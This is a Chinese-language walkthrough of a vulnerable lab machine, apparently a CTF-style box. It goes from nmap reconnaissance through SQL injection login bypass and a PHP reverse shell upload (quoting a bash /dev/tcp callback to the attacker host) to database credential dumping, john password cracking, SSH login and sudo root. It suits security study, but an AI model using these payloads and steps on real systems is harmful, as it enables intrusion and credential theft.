靶机下载地址
信息收集
主机探测
sudo nmap -sn 10.10.10.0/24
发现目标靶机IP地址10.10.10.4
初步扫描
sudo nmap -sT --min-rate 10000 -p- 10.10.10.4
22/tcp open ssh
80/tcp open http
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn
901/tcp open samba-swat
5900/tcp closed vnc
8080/tcp open http-proxy
10000/tcp open snet-sensor-mgmt
详细信息扫描
sudo nmap -sT -sC -sV -O -p 22,80,137,138,901,5900,8080,10000 10.10.10.4
可以知道以下信息
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.15 ((CentOS))
139/tcp open netbios-ssn
901/tcp open http Samba SWAT administration server 登录
8080/tcp open http Apache httpd 2.2.15 ((CentOS)) 登录
10000/tcp open http MiniServ 1.610 (Webmin httpd) webmin
Running: Linux 2.6.X|3.X
漏洞脚本扫描
sudo nmap -sT --script=vuln -p 22,80,137,138,901,5900,8080,10000 10.10.10.4
可以知道以下关键信息
80
| http-enum:
| /webmail/: Mail folder
/config 403
/robots.txt NONE
/SQL 403
/temp
/installer
/plugins/password/
/plugins/userinfo
| /inc/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
|_ /webalizer/: 2.21 CVE-2003-1418
/db
/assets 上传的shell
/signup
/newsletter
/profile
/recovery
/phpinfo
8080 SQL注入
| http-enum:
| /login.php: Possible admin folder
| /phpmyadmin/: phpMyAdmin
/config
user:root
password:''
/robots.txt
| /docs/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
| /icons/: Potentially interesting folder w/ directory listing
|_ /inc/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
UDP扫描
sudo nmap -sU --top-ports 100 10.10.10.4
没有有效信息
漏洞发现和利用
SQL注入
访问8080端口,发现是一个登录界面,可能存在SQL注入
尝试用’||1=1#发现成功登录(注意这里无法爆破数据库,权限不够)
文件上传
发现文件上传的地方,尝试上传php反向shell
http://10.10.10.4:8080/readings.php?op=new
上传成功,但是不知道上传的地方在哪里。
在assets目录发现上传的shell文件
反弹shell
成功获取低权限用户
攻击机:sudo nc -lvnp 4444
shell脚本可以用kali自带的或者自己写
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.2/4444 0>&1'");?>
这个不用记
权限提升
敏感文件
寻找phpmyadmin路径
在/var/www/admin/phpmyadmin/config路径下找到config.inc.php
查看内容,发现mysql的账户为root,密码为空
数据库登录
登录数据库成功
mysql -u root -p
获取表信息
获取到user表信息,这里可以已经可以看/etc/passwd了,数据库的用户都是/etc/passwd可登录用户。
使用john破解得到明文密码
brian my2cents
john transformersrule
alice turtles77
ruby Shelly2012
leon qwer1234
julia madrid
michael somepassword
bruce LosAngelesLakers
neil Jets4Ever
charles chuck33
foo changeme
test test
ssh登录
使用julia madrid登录ssh
成功登录,并且可执行sudo的ALL操作,切换到root提权成功。
所有用户都要登录来看看,只有julia有sudo权限操作,其它没有。
总结
首先信息收集,然后漏洞寻找,发现8080端口具有SQL注入漏洞然后登录上去。找到文件上传的地方上传shell获取反弹shell,得到一个低权限用户apache。通过寻找phpmyadmin的配置文件找到数据库的登录密码,登录到数据库获取user表里的数据。这里user表里的用户都是可登录ssh的用户,然后通过john暴力破解或网上的工具(我这里用的网上的工具会快很多),最后SSH登录发现有一个用户拥有sudo all权限直接提权到root。